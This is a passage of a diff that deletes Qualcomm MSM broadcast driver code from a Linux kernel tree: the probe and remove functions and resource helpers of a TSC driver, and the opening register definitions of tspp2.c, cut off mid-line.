+-/** +- * tsc_get_regulator_bus() - Get the TSC regulator and register the bus client. +- * +- * @pdev: A pointer to the TSC platform device. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_get_regulator_bus(struct platform_device *pdev) +-{ +- struct msm_bus_scale_pdata *tsc_bus_pdata = NULL; +- +- /* Reading the GDSC info */ +- tsc_device->gdsc = devm_regulator_get(&pdev->dev, "vdd"); +- if (IS_ERR(tsc_device->gdsc)) { +- dev_err(&pdev->dev, "%s: Failed to get vdd power regulator\n", +- __func__); +- return PTR_ERR(tsc_device->gdsc); +- } +- +- /* Reading the bus platform data */ +- tsc_bus_pdata = msm_bus_cl_get_pdata(pdev); +- if (tsc_bus_pdata == NULL) { +- dev_err(&pdev->dev, "%s: Could not find the bus property. Continue anyway...\n", +- __func__); +- } +- +- /* Register the bus client */ +- if (tsc_bus_pdata) { +- tsc_device->bus_client = +- msm_bus_scale_register_client(tsc_bus_pdata); +- if (!tsc_device->bus_client) { +- dev_err(&pdev->dev, "%s: Unable to register bus client\n", +- __func__); +- goto err; +- } +- } +- +- return 0; +-err: +- devm_regulator_put(tsc_device->gdsc); +- return -EINVAL; +-} +- +-/** +- * tsc_get_irqs() - Get the TSC IRQ numbers and map the cam irq. +- * +- * @pdev: A pointer to the TSC platform device. +- * +- * Read the irq numbers from the platform device information. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_get_irqs(struct platform_device *pdev) +-{ +- int irq; +- +- irq = platform_get_irq_byname(pdev, "cam-cmd"); +- if (irq > 0) { +- tsc_device->cam_cmd_irq = irq; +- } else { +- dev_err(&pdev->dev, "%s: Failed to get CAM_CMD IRQ = %d", +- __func__, irq); +- goto err; +- } +- +- irq = platform_get_irq_byname(pdev, "card-detect"); +- if (irq > 0) { +- tsc_device->card_detection_irq = irq; +- } else { +- dev_err(&pdev->dev, "%s: Failed to get CARD_DETECT IRQ = %d", +- __func__, irq); +- goto err; +- } +- +- return 0; +-err: +- tsc_device->cam_cmd_irq = 0; +- tsc_device->card_detection_irq = 0; +- +- return -EINVAL; +-} +- +-/** +- * tsc_map_io_memory() - Map memory resources to kernel space. +- * +- * @pdev: A pointer to the TSC platform device. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_map_io_memory(struct platform_device *pdev) +-{ +- struct resource *registers_mem; +- +- /* Reading memory resources */ +- registers_mem = platform_get_resource_byname(pdev, IORESOURCE_MEM, +- "tsc-base"); +- if (!registers_mem) { +- dev_err(&pdev->dev, "%s: Missing tsc-base MEM resource", +- __func__); +- return -EINVAL; +- } +- +- tsc_device->base = ioremap(registers_mem->start, +- resource_size(registers_mem)); +- if (!tsc_device->base) { +- dev_err(&pdev->dev, "%s: ioremap failed", __func__); +- return -ENXIO; +- } +- +- return 0; +-} +- +-/** +- * tsc_clocks_put() - Put the clocks +- */ +-static void tsc_clocks_put(void) +-{ +- if (tsc_device->ahb_clk) +- clk_put(tsc_device->ahb_clk); +- if (tsc_device->ci_clk) +- clk_put(tsc_device->ci_clk); +- if (tsc_device->ser_clk) +- clk_put(tsc_device->ser_clk); +- if (tsc_device->par_clk) +- clk_put(tsc_device->par_clk); +- if (tsc_device->cicam_ts_clk) +- clk_put(tsc_device->cicam_ts_clk); +- if (tsc_device->tspp2_core_clk) +- clk_put(tsc_device->tspp2_core_clk); +- if (tsc_device->vbif_tspp2_clk) +- clk_put(tsc_device->vbif_tspp2_clk); +- if (tsc_device->vbif_ahb_clk) +- clk_put(tsc_device->vbif_ahb_clk); +- if (tsc_device->vbif_axi_clk) +- clk_put(tsc_device->vbif_axi_clk); +- +- tsc_device->ahb_clk = NULL; +- tsc_device->ci_clk = NULL; +- tsc_device->ser_clk = NULL; +- tsc_device->par_clk = NULL; +- tsc_device->cicam_ts_clk = NULL; +- tsc_device->tspp2_core_clk = NULL; +- tsc_device->vbif_tspp2_clk = NULL; +- tsc_device->vbif_ahb_clk = NULL; +- tsc_device->vbif_axi_clk = NULL; +-} +- +-/** +- * tsc_clocks_get() - Get the TSC clocks +- * +- * @pdev: A pointer to the TSC platform device. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_clocks_get(struct platform_device *pdev) +-{ +- int ret = 0; +- +- tsc_device->ahb_clk = clk_get(&pdev->dev, "bcc_tsc_ahb_clk"); +- if (IS_ERR(tsc_device->ahb_clk)) { +- pr_err("%s: Failed to get bcc_tsc_ahb_clk\n", __func__); +- ret = PTR_ERR(tsc_device->ahb_clk); +- goto ahb_err; +- } +- +- tsc_device->ci_clk = clk_get(&pdev->dev, "bcc_tsc_ci_clk"); +- if (IS_ERR(tsc_device->ci_clk)) { +- pr_err("%s: Failed to get bcc_tsc_ci_clk\n", __func__); +- ret = PTR_ERR(tsc_device->ci_clk); +- goto ci_err; +- } +- +- tsc_device->ser_clk = clk_get(&pdev->dev, "bcc_tsc_ser_clk"); +- if (IS_ERR(tsc_device->ser_clk)) { +- pr_err("%s: Failed to get bcc_tsc_ser_clk\n", __func__); +- ret = PTR_ERR(tsc_device->ser_clk); +- goto ser_err; +- } +- +- tsc_device->par_clk = clk_get(&pdev->dev, "bcc_tsc_par_clk"); +- if (IS_ERR(tsc_device->par_clk)) { +- pr_err("%s: Failed to get bcc_tsc_par_clk", __func__); +- ret = PTR_ERR(tsc_device->par_clk); +- goto par_err; +- } +- +- tsc_device->cicam_ts_clk = clk_get(&pdev->dev, "bcc_tsc_cicam_ts_clk"); +- if (IS_ERR(tsc_device->cicam_ts_clk)) { +- pr_err("%s: Failed to get bcc_tsc_cicam_ts_clk", __func__); +- ret = PTR_ERR(tsc_device->cicam_ts_clk); +- goto cicam_err; +- } +- +- tsc_device->tspp2_core_clk = clk_get(&pdev->dev, "bcc_tspp2_core_clk"); +- if (IS_ERR(tsc_device->tspp2_core_clk)) { +- pr_err("%s: Failed to get bcc_tspp2_core_clk", __func__); +- ret = PTR_ERR(tsc_device->tspp2_core_clk); +- goto tspp2_err; +- } +- +- tsc_device->vbif_tspp2_clk = clk_get(&pdev->dev, "bcc_vbif_tspp2_clk"); +- if (IS_ERR(tsc_device->vbif_tspp2_clk)) { +- pr_err("%s: Failed to get bcc_vbif_tspp2_clk", __func__); +- ret = PTR_ERR(tsc_device->vbif_tspp2_clk); +- goto vbif_tspp2_err; +- } +- +- tsc_device->vbif_ahb_clk = clk_get(&pdev->dev, "iface_vbif_clk"); +- if (IS_ERR(tsc_device->vbif_ahb_clk)) { +- pr_err("%s: Failed to get bcc_vbif_ahb_clk", __func__); +- ret = PTR_ERR(tsc_device->vbif_ahb_clk); +- goto vbif_ahb_err; +- } +- +- tsc_device->vbif_axi_clk = clk_get(&pdev->dev, "vbif_core_clk"); +- if (IS_ERR(tsc_device->vbif_axi_clk)) { +- pr_err("%s: Failed to get bcc_vbif_axi_clk", __func__); +- ret = PTR_ERR(tsc_device->vbif_axi_clk); +- goto vbif_axi_err; +- } +- +- return ret; +- +-vbif_axi_err: +- tsc_device->vbif_axi_clk = NULL; +- clk_put(tsc_device->vbif_ahb_clk); +-vbif_ahb_err: +- tsc_device->vbif_ahb_clk = NULL; +- clk_put(tsc_device->vbif_tspp2_clk); +-vbif_tspp2_err: +- tsc_device->vbif_tspp2_clk = NULL; +- clk_put(tsc_device->tspp2_core_clk); +-tspp2_err: +- tsc_device->tspp2_core_clk = NULL; +- clk_put(tsc_device->cicam_ts_clk); +-cicam_err: +- tsc_device->cicam_ts_clk = NULL; +- clk_put(tsc_device->par_clk); +-par_err: +- tsc_device->par_clk = NULL; +- clk_put(tsc_device->ser_clk); +-ser_err: +- tsc_device->ser_clk = NULL; +- clk_put(tsc_device->ci_clk); +-ci_err: +- tsc_device->ci_clk = NULL; +- clk_put(tsc_device->ahb_clk); +-ahb_err: +- tsc_device->ahb_clk = NULL; +- return ret; +-} +- +-/** +- * tsc_free_iommu_info() - Free IOMMU information. +- */ +-static void tsc_free_iommu_info(void) +-{ +- if (tsc_device->iommu_info.group) { +- iommu_group_put(tsc_device->iommu_info.group); +- tsc_device->iommu_info.group = NULL; +- } +- +- if (tsc_device->iommu_info.ion_client) { +- ion_client_destroy(tsc_device->iommu_info.ion_client); +- tsc_device->iommu_info.ion_client = NULL; +- } +- +- tsc_device->iommu_info.domain = NULL; +- tsc_device->iommu_info.domain_num = -1; +- tsc_device->iommu_info.partition_num = -1; +-} +- +-/** +- * tsc_get_iommu_info() - Get IOMMU information. +- * +- * @pdev: A pointer to the TSC platform device. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_get_iommu_info(struct platform_device *pdev) +-{ +- int ret = 0; +- +- /* Create a new ION client used by tsc ci to allocate memory */ +- tsc_device->iommu_info.ion_client = msm_ion_client_create("tsc_client"); +- if (IS_ERR_OR_NULL(tsc_device->iommu_info.ion_client)) { +- pr_err("%s: error in ion_client_create", __func__); +- ret = PTR_ERR(tsc_device->iommu_info.ion_client); +- if (!ret) +- ret = -ENOMEM; +- tsc_device->iommu_info.ion_client = NULL; +- goto err_client; +- } +- +- /* Find the iommu group by the name obtained from the device tree */ +- tsc_device->iommu_info.group = +- iommu_group_find(tsc_device->iommu_info.iommu_group_name); +- if (!tsc_device->iommu_info.group) { +- pr_err("%s: error in iommu_group_find", __func__); +- ret = -EINVAL; +- goto err_group; +- } +- +- /* Get the domain associated with the iommu group */ +- tsc_device->iommu_info.domain = +- iommu_group_get_iommudata(tsc_device->iommu_info.group); +- if (IS_ERR_OR_NULL(tsc_device->iommu_info.domain)) { +- pr_err("%s: iommu_group_get_iommudata failed", __func__); +- ret = -EINVAL; +- goto err_domain; +- } +- +- /* Get the domain number */ +- tsc_device->iommu_info.domain_num = +- msm_find_domain_no(tsc_device->iommu_info.domain); +- +- return ret; +- +-err_domain: +- iommu_group_put(tsc_device->iommu_info.group); +- tsc_device->iommu_info.group = NULL; +-err_group: +- ion_client_destroy(tsc_device->iommu_info.ion_client); +- tsc_device->iommu_info.ion_client = NULL; +-err_client: +- return ret; +-} +- +-/** +- * tsc_parse_dt() - Parse device-tree data and save it. +- * +- * @pdev: A pointer to the TSC platform device. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_parse_dt(struct platform_device *pdev) +-{ +- struct device_node *node = pdev->dev.of_node; +- struct device_node *iommu_pnode; +- int ret; +- +- /* Check that power regulator property exist */ +- if (!of_get_property(node, "vdd-supply", NULL)) { +- dev_err(&pdev->dev, "%s: Could not find vdd-supply property\n", +- __func__); +- return -EINVAL; +- } +- +- /* Reading IOMMU group label by obtaining the group's phandle */ +- iommu_pnode = of_parse_phandle(node, "qcom,iommu-group", 0); +- if (!iommu_pnode) { +- dev_err(&pdev->dev, "%s: Couldn't find iommu-group property\n", +- __func__); +- return -EINVAL; +- } +- ret = of_property_read_string(iommu_pnode, "label", +- &tsc_device->iommu_info.iommu_group_name); +- of_node_put(iommu_pnode); +- if (ret) { +- dev_err(&pdev->dev, "%s: Couldn't find label property of the IOMMU group, err=%d\n", +- __func__, ret); +- return -EINVAL; +- } +- +- /* Reading IOMMU partition */ +- ret = of_property_read_u32(node, "qcom,iommu-partition", +- &tsc_device->iommu_info.partition_num); +- if (ret) { +- dev_err(&pdev->dev, "%s: Couldn't find iommu-partition property, err=%d\n", +- __func__, ret); +- return -EINVAL; +- } +- +- /* Reading reset cam gpio */ +- tsc_device->reset_cam_gpio = of_get_named_gpio(node, +- "qcom,tsc-reset-cam-gpio", 0); +- if (tsc_device->reset_cam_gpio < 0) { +- dev_err(&pdev->dev, "%s: Couldn't find qcom,tsc-reset-cam-gpio property\n", +- __func__); +- return -EINVAL; +- } +- +- return 0; +-} +- +-/* TSC Mux file operations */ +-static const struct file_operations tsc_mux_fops = { +- .owner = THIS_MODULE, +- .open = tsc_mux_open, +- .poll = tsc_mux_poll, +- .release = tsc_mux_release, +- .unlocked_ioctl = tsc_mux_ioctl, +-}; +- +-/* TSC CI file operations */ +-static const struct file_operations tsc_ci_fops = { +- .owner = THIS_MODULE, +- .open = tsc_ci_open, +- .poll = tsc_ci_poll, +- .release = tsc_ci_release, +- .unlocked_ioctl = tsc_ci_ioctl, +-}; +- +- +-/************************ Device driver probe function ************************/ +-static int msm_tsc_probe(struct platform_device *pdev) +-{ +- int ret; +- +- tsc_device = kzalloc(sizeof(struct tsc_device), GFP_KERNEL); +- if (!tsc_device) { +- pr_err("%s: Unable to allocate memory for struct\n", __func__); +- return -ENOMEM; +- } +- +- /* get information from device tree */ +- if (pdev->dev.of_node) { +- ret = tsc_parse_dt(pdev); +- if (ret != 0) { +- pr_err("%s: devicetree data not available", __func__); +- ret = -EINVAL; +- goto err_dt; +- } +- } else { /* else - devicetree is not found */ +- pr_err("%s: devicetree data is missing", __func__); +- ret = -EINVAL; +- goto err_dt; +- } +- +- /* set up references */ +- tsc_device->pdev = pdev; +- platform_set_drvdata(pdev, tsc_device); +- +- /* init iommu client, group and domain */ +- if (!tsc_iommu_bypass) { +- ret = tsc_get_iommu_info(pdev); +- if (ret != 0) +- return ret; +- } +- +- /* Map clocks */ +- ret = tsc_clocks_get(pdev); +- if (ret != 0) +- goto err_clocks_get; +- +- /* map registers memory */ +- ret = tsc_map_io_memory(pdev); +- if (ret != 0) +- goto err_map_io; +- +- /* map irqs */ +- ret = tsc_get_irqs(pdev); +- if (ret != 0) +- goto err_map_irqs; +- +- /* get regulators and bus */ +- ret = tsc_get_regulator_bus(pdev); +- if (ret != 0) +- goto err_get_regulator_bus; +- +- /* get pinctrl */ +- ret = tsc_get_pinctrl(pdev); +- if (ret != 0) +- goto err_pinctrl; +- +- /* creating the tsc device's class */ +- tsc_class = class_create(THIS_MODULE, "tsc"); +- if (IS_ERR(tsc_class)) { +- ret = PTR_ERR(tsc_class); +- pr_err("%s: Error creating class: %d\n", __func__, ret); +- goto err_class; +- } +- +- /* Initialize and register mux char device driver */ +- ret = tsc_init_char_driver(&tsc_device->mux_chdev.cdev, &tsc_mux_fops, +- &tsc_device->mux_device_number, tsc_device->device_mux, +- "tsc_mux"); +- if (ret != 0) +- goto err_chdev_mux; +- +- /* Initialize and register ci char device drivers */ +- ret = tsc_init_char_driver(&tsc_device->ci_chdev.cdev, &tsc_ci_fops, +- &tsc_device->ci_device_number, tsc_device->device_ci, +- "tsc_ci"); +- if (ret != 0) +- goto err_chdev_ci; +- +- /* Init char device counters */ +- tsc_device->num_device_open = 0; +- tsc_device->num_mux_opened = 0; +- tsc_device->num_ci_opened = 0; +- +- /* Init char device mutexes and completion structs */ +- mutex_init(&tsc_device->mux_chdev.mutex); +- mutex_init(&tsc_device->ci_chdev.mutex); +- mutex_init(&tsc_device->mutex); +- init_completion(&tsc_device->ci_chdev.transaction_complete); +- init_completion(&tsc_device->ci_chdev.transaction_finish); +- +- /* Init debugfs support */ +- tsc_debugfs_init(); +- +- return ret; +- +-err_chdev_ci: +- device_destroy(tsc_class, tsc_device->mux_chdev.cdev.dev); +- cdev_del(&tsc_device->mux_chdev.cdev); +-err_chdev_mux: +- class_destroy(tsc_class); +-err_class: +-err_pinctrl: +- if (tsc_device->bus_client) +- msm_bus_scale_unregister_client(tsc_device->bus_client); +- +- devm_regulator_put(tsc_device->gdsc); +-err_get_regulator_bus: +-err_map_irqs: +- iounmap(tsc_device->base); +-err_map_io: +- tsc_clocks_put(); +-err_clocks_get: +- tsc_free_iommu_info(); +-err_dt: +- kfree(tsc_device); +- +- return ret; +-} +- +-/*********************** Device driver remove function ***********************/ +-static int msm_tsc_remove(struct platform_device *pdev) +-{ +- /* Removing debugfs support */ +- tsc_debugfs_exit(); +- +- /* Destroying the char device mutexes */ +- mutex_destroy(&tsc_device->mux_chdev.mutex); +- mutex_destroy(&tsc_device->ci_chdev.mutex); +- +- /* unregistering and deleting the tsc-ci char device driver*/ +- device_destroy(tsc_class, tsc_device->ci_chdev.cdev.dev); +- cdev_del(&tsc_device->ci_chdev.cdev); +- +- /* unregistering and deleting the tsc-mux char device driver*/ +- device_destroy(tsc_class, tsc_device->mux_chdev.cdev.dev); +- cdev_del(&tsc_device->mux_chdev.cdev); +- +- /* Unregistering the char devices */ +- unregister_chrdev_region(tsc_device->ci_device_number, 1); +- unregister_chrdev_region(tsc_device->mux_device_number, 1); +- +- /* Removing the tsc class*/ +- class_destroy(tsc_class); +- +- /* Unregister the bus client and the regulator */ +- if (tsc_device->bus_client) +- msm_bus_scale_unregister_client(tsc_device->bus_client); +- +- devm_regulator_put(tsc_device->gdsc); +- +- /* Unmapping the io memory */ +- iounmap(tsc_device->base); +- +- /* Releasing the clocks */ +- tsc_clocks_put(); +- +- /* Releasing the iommu info */ +- if (!tsc_iommu_bypass) +- tsc_free_iommu_info(); +- +- /* Releasing the memory allocated for the TSC device struct */ +- kfree(tsc_device); +- +- return 0; +-} +- +-/*********************** Platform driver information ***********************/ +-static struct of_device_id msm_match_table[] = { +- {.compatible = "qcom,msm-tsc"}, +- {} +-}; +- +-static struct platform_driver msm_tsc_driver = { +- .probe = msm_tsc_probe, +- .remove = msm_tsc_remove, +- .driver = { +- .name = "msm_tsc", +- .of_match_table = msm_match_table, +- }, +-}; +- +-/** +- * tsc_init() - TSC driver module init function. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int __init tsc_init(void) +-{ +- int ret = 0; +- +- /* register the driver, and check hardware */ +- ret = platform_driver_register(&msm_tsc_driver); +- if (ret) { +- pr_err("%s: platform_driver_register failed: %d\n", __func__, +- ret); +- return ret; +- } +- +- return ret; +-} +- +-/** +- * tsc_exit() - TSC driver module exit function. +- */ +-static void __exit tsc_exit(void) +-{ +- platform_driver_unregister(&msm_tsc_driver); +-} +- +-module_init(tsc_init); +-module_exit(tsc_exit); +- +-MODULE_DESCRIPTION("TSC platform device and two char devs: mux and ci"); +-MODULE_LICENSE("GPL v2"); +diff --git a/drivers/media/platform/msm/broadcast/tspp2.c b/drivers/media/platform/msm/broadcast/tspp2.c +deleted file mode 100644 +index 1f51dca..0000000 +--- a/drivers/media/platform/msm/broadcast/tspp2.c ++++ /dev/null +@@ -1,8578 +0,0 @@ +-/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. +- * +- * This program is free software; you can redistribute it and/or modify +- * it under the terms of the GNU General Public License version 2 and +- * only version 2 as published by the Free Software Foundation. +- * +- * This program is distributed in the hope that it will be useful, +- * but WITHOUT ANY WARRANTY; without even the implied warranty of +- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- * GNU General Public License for more details. +- */ +- +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +- +-#define TSPP2_MODULUS_OP(val, mod) ((val) & ((mod) - 1)) +- +-/* General definitions. Note we're reserving one batch. */ +-#define TSPP2_NUM_ALL_INPUTS (TSPP2_NUM_TSIF_INPUTS + TSPP2_NUM_MEM_INPUTS) +-#define TSPP2_NUM_CONTEXTS 128 +-#define TSPP2_NUM_AVAIL_CONTEXTS 127 +-#define TSPP2_NUM_HW_FILTERS 128 +-#define TSPP2_NUM_BATCHES 15 +-#define TSPP2_FILTERS_PER_BATCH 8 +-#define TSPP2_NUM_AVAIL_FILTERS (TSPP2_NUM_HW_FILTERS - TSPP2_FILTERS_PER_BATCH) +-#define TSPP2_NUM_KEYTABLES 32 +-#define TSPP2_TSIF_DEF_TIME_LIMIT 15000 /* Number of tsif-ref-clock ticks */ +- +-#define TSPP2_NUM_EVENT_WORK_ELEMENTS 256 +- +-/* +- * Based on the hardware programming guide, HW requires we wait for up to 2ms +- * before closing the pipes used by the filter. +- * This is required to avoid unexpected pipe reset interrupts. +- */ +-#define TSPP2_HW_DELAY_USEC 2000 +- +-/* +- * Default source configuration: +- * Sync byte 0x47, check sync byte, +- * Do not monitor scrambling bits, +- * Discard packets with invalid AF, +- * Do not assume duplicates, +- * Do not ignore discontinuity indicator, +- * Check continuity of TS packets. +- */ +-#define TSPP2_DEFAULT_SRC_CONFIG 0x47801E49 +- +-/* +- * Default memory source configuration: +- * Use 16 batches, +- * Attach last batch to each memory source. +- */ +-#define TSPP2_DEFAULT_MEM_SRC_CONFIG 0x80000010 +- +-/* Bypass VBIF/IOMMU for debug and bring-up purposes */ +-static int tspp2_iommu_bypass; +-module_param(tspp2_iommu_bypass, int, S_IRUGO); +- +-/* Enable Invalid Adaptation Field control bits event */ +-static int tspp2_en_invalid_af_ctrl; +-module_param(tspp2_en_invalid_af_ctrl, int, S_IRUGO | S_IWUSR); +- +-/* Enable Invalid Adaptation Field length event */ +-static int tspp2_en_invalid_af_length; +-module_param(tspp2_en_invalid_af_length, int, S_IRUGO | S_IWUSR); +- +-/* Enable PES No Sync event */ +-static int tspp2_en_pes_no_sync; +-module_param(tspp2_en_pes_no_sync, int, S_IRUGO | S_IWUSR); +- +-/** +- * enum tspp2_operation_opcode - TSPP2 Operation opcode for TSPP2_OPCODE +- */ +-enum tspp2_operation_opcode { +- TSPP2_OPCODE_PES_ANALYSIS = 0x03, +- TSPP2_OPCODE_RAW_TRANSMIT = 0x07, +- TSPP2_OPCODE_PES_TRANSMIT = 0x00, +- TSPP2_OPCODE_PCR_EXTRACTION = 0x05, +- TSPP2_OPCODE_CIPHER = 0x01, +- TSPP2_OPCODE_INDEXING = 0x09, +- TSPP2_OPCODE_COPY_PACKET = 0x0B, +- TSPP2_OPCODE_EXIT = 0x0F +-}; +- +-/* TSIF Register definitions: */ +-#define TSPP2_TSIF_STS_CTL (0x0000) +-#define TSPP2_TSIF_TIME_LIMIT (0x0004) +-#define TSPP2_TSIF_CLK_REF (0x0008) +-#define TSPP2_TSIF_LPBK_FLAGS (0x000C) +-#define TSPP2_TSIF_LPBK_DATA (0x0010) +-#define TSPP2_TSIF_DATA_PORT (0x0100) +- +-/* Bits for TSPP2_TSIF_STS_CTL register */ +-#define TSIF_STS_CTL_PKT_WRITE_ERR BIT(30) +-#define TSIF_STS_CTL_PKT_READ_ERR BIT(29) +-#define TSIF_STS_CTL_EN_IRQ BIT(28) +-#define TSIF_STS_CTL_PACK_AVAIL BIT(27) +-#define TSIF_STS_CTL_1ST_PACKET BIT(26) +-#define TSIF_STS_CTL_OVERFLOW BIT(25) +-#define TSIF_STS_CTL_LOST_SYNC BIT(24) +-#define TSIF_STS_CTL_TIMEOUT BIT(23) +-#define TSIF_STS_CTL_INV_SYNC BIT(21) +-#define TSIF_STS_CTL_INV_NULL BIT(20) +-#define TSIF_STS_CTL_INV_ERROR BIT(19) +-#define TSIF_STS_CTL_INV_ENABLE BIT(18) +-#define TSIF_STS_CTL_INV_DATA BIT(17) +-#define TSIF_STS_CTL_INV_CLOCK BIT(16) +-#define TSIF_STS_CTL_PARALLEL BIT(14) +-#define TSIF_STS_CTL_EN_NULL BIT(11) +-#define TSIF_STS_CTL_EN_ERROR BIT(10) +-#define TSIF_STS_CTL_LAST_BIT BIT(9) +-#define TSIF_STS_CTL_EN_TIME_LIM BIT(8) +-#define TSIF_STS_CTL_EN_TCR BIT(7) +-#define TSIF_STS_CTL_TEST_MODE BIT(6) +-#define TSIF_STS_CTL_MODE_2 BIT(5) +-#define TSIF_STS_CTL_EN_DM BIT(4) +-#define TSIF_STS_CTL_STOP BIT(3) +-#define TSIF_STS_CTL_START BIT(0) +- +-/* Indexing Table Register definitions: id = 0..3, n = 0..25 */ +-#define TSPP2_INDEX_TABLE_PREFIX(id) (0x6000 + ((id) << 2)) +-#define TSPP2_INDEX_TABLE_PREFIX_MASK(id) (0x6010 + ((id) << 2)) +-#define TSPP2_INDEX_TABLE_PATTEREN(id, n) (0x3C00 + ((id) << 8) + \ +- ((n) << 3)) +-#define TSPP2_INDEX_TABLE_MASK(id, n) (0x3C04 + ((id) << 8) + \ +- ((n) << 3)) +-#define TSPP2_INDEX_TABLE_PARAMS(id) (0x6020 + ((id) << 2)) +- +-/* Bits for TSPP2_INDEX_TABLE_PARAMS register */ +-#define INDEX_TABLE_PARAMS_PREFIX_SIZE_OFFS 8 +-#define INDEX_TABLE_PARAMS_NUM_PATTERNS_OFFS 0 +- +-/* Source with memory input register definitions: n = 0..7 */ +-#define TSPP2_MEM_INPUT_SRC_CONFIG(n) (0x6040 + ((n) << 2)) +- +-/* Bits for TSPP2_MEM_INPUT_SRC_CONFIG register */ +-#define MEM_INPUT_SRC_CONFIG_BATCHES_OFFS 16 +-#define MEM_INPUT_SRC_CONFIG_INPUT_PIPE_OFFS 8 +-#define MEM_INPUT_SRC_CONFIG_16_BATCHES_OFFS 4 +-#define MEM_INPUT_SRC_CONFIG_STAMP_SUFFIX_OFFS 2 +-#define MEM_INPUT_SRC_CONFIG_STAMP_EN_OFFS 1 +-#define MEM_INPUT_SRC_CONFIG_INPUT_EN_OFFS 0 +- +-/* Source with TSIF input register definitions: n = 0..1 */ +-#define TSPP2_TSIF_INPUT_SRC_CONFIG(n) (0x6060 + ((n) << 2)) +-#define TSIF_INPUT_SRC_CONFIG_16_BATCHES_OFFS 4 +- +-/* Bits for TSPP2_TSIF_INPUT_SRC_CONFIG register */ +-#define TSIF_INPUT_SRC_CONFIG_BATCHES_OFFS 16 +-#define TSIF_INPUT_SRC_CONFIG_INPUT_EN_OFFS 0 +- +-/* Source with any input register definitions: n = 0..9 */ +-#define TSPP2_SRC_DEST_PIPES(n) (0x6070 + ((n) << 2)) +-#define TSPP2_SRC_CONFIG(n) (0x6120 + ((n) << 2)) +-#define TSPP2_SRC_TOTAL_TSP(n) (0x6600 + ((n) << 2)) +-#define TSPP2_SRC_FILTERED_OUT_TSP(n) (0x6630 + ((n) << 2)) +- +-/* Bits for TSPP2_SRC_CONFIG register */ +-#define SRC_CONFIG_SYNC_BYTE_OFFS 24 +-#define SRC_CONFIG_CHECK_SYNC_OFFS 23 +-#define SRC_CONFIG_SCRAMBLING_MONITOR_OFFS 13 +-#define SRC_CONFIG_VERIFY_PES_START_OFFS 12 +-#define SRC_CONFIG_SCRAMBLING3_OFFS 10 +-#define SRC_CONFIG_SCRAMBLING2_OFFS 8 +-#define SRC_CONFIG_SCRAMBLING1_OFFS 6 +-#define SRC_CONFIG_SCRAMBLING0_OFFS 4 +-#define SRC_CONFIG_DISCARD_INVALID_AF_OFFS 3 +-#define SRC_CONFIG_ASSUME_DUPLICATES_OFFS 2 +-#define SRC_CONFIG_IGNORE_DISCONT_OFFS 1 +-#define SRC_CONFIG_CHECK_CONT_OFFS 0 +- +-/* Context register definitions: n = 0..127 */ +-#define TSPP2_PES_CONTEXT0(n) (0x0000 + ((n) << 4)) +-#define TSPP2_PES_CONTEXT1(n) (0x0004 + ((n) << 4)) +-#define TSPP2_PES_CONTEXT2(n) (0x0008 + ((n) << 4)) +-#define TSPP2_PES_CONTEXT3(n) (0x000C + ((n) << 4)) +-#define TSPP2_INDEXING_CONTEXT0(n) (0x0800 + ((n) << 3)) +-#define TSPP2_INDEXING_CONTEXT1(n) (0x0804 + ((n) << 3)) +-#define TSPP2_TSP_CONTEXT(n) (0x5600 + ((n) << 2)) +- +-/* Bits for TSPP2_TSP_CONTEXT register */ +-#define TSP_CONTEXT_TS_HEADER_SC_OFFS 6 +-#define TSP_CONTEXT_PES_HEADER_SC_OFFS 8 +- +-/* Operations register definitions: f_idx = 0..127, n = 0..15 */ +-#define TSPP2_OPCODE(f_idx, n) (0x1000 + \ +- ((f_idx) * (TSPP2_MAX_OPS_PER_FILTER << 2)) + \ +- ((n) << 2)) +- +-/* Filter register definitions: n = 0..127 */ +-#define TSPP2_FILTER_ENTRY0(n) (0x5800 + ((n) << 3)) +-#define TSPP2_FILTER_ENTRY1(n) (0x5804 + ((n) << 3)) +- +-/* Bits for TSPP2_FILTER_ENTRY0 register */ +-#define FILTER_ENTRY0_PID_OFFS 0 +-#define FILTER_ENTRY0_MASK_OFFS 13 +-#define FILTER_ENTRY0_EN_OFFS 26 +-#define FILTER_ENTRY0_CODEC_OFFS 27 +- +-/* Bits for TSPP2_FILTER_ENTRY1 register */ +-#define FILTER_ENTRY1_CONTEXT_OFFS 0 +- +-/* Filter context-based counter register definitions: n = 0..127 */ +-#define TSPP2_FILTER_TSP_SYNC_ERROR(n) (0x4000 + ((n) << 2)) +-#define TSPP2_FILTER_ERRED_TSP(n) (0x4200 + ((n) << 2)) +-#define TSPP2_FILTER_DISCONTINUITIES(n) (0x4400 + ((n) << 2)) +-#define TSPP2_FILTER_SCRAMBLING_BITS_DISCARD(n) (0x4600 + ((n) << 2)) +-#define TSPP2_FILTER_TSP_TOTAL_NUM(n) (0x4800 + ((n) << 2)) +-#define TSPP2_FILTER_DISCONT_INDICATOR(n) (0x4A00 + ((n) << 2)) +-#define TSPP2_FILTER_TSP_NO_PAYLOAD(n) (0x4C00 + ((n) << 2)) +-#define TSPP2_FILTER_TSP_DUPLICATE(n) (0x4E00 + ((n) << 2)) +-#define TSPP2_FILTER_KEY_FETCH_FAILURE(n) (0x5000 + ((n) << 2)) +-#define TSPP2_FILTER_DROPPED_PCR(n) (0x5200 + ((n) << 2)) +-#define TSPP2_FILTER_PES_ERRORS(n) (0x5400 + ((n) << 2)) +- +-/* Pipe register definitions: n = 0..30 */ +-#define TSPP2_PIPE_THRESH_CONFIG(n) (0x60A0 + ((n) << 2)) +-#define TSPP2_PIPE_LAST_ADDRESS(n) (0x6190 + ((n) << 2)) +-#define TSPP2_PIPE_SECURITY 0x6150 +-#define TSPP2_DATA_NOT_SENT_ON_PIPE(n) (0x6660 + ((n) << 2)) +- +-/* Global register definitions: */ +-#define TSPP2_PCR_GLOBAL_CONFIG 0x6160 +-#define TSPP2_CLK_TO_PCR_TIME_UNIT 0x6170 +-#define TSPP2_DESC_WAIT_TIMEOUT 0x6180 +-#define TSPP2_GLOBAL_IRQ_STATUS 0x6300 +-#define 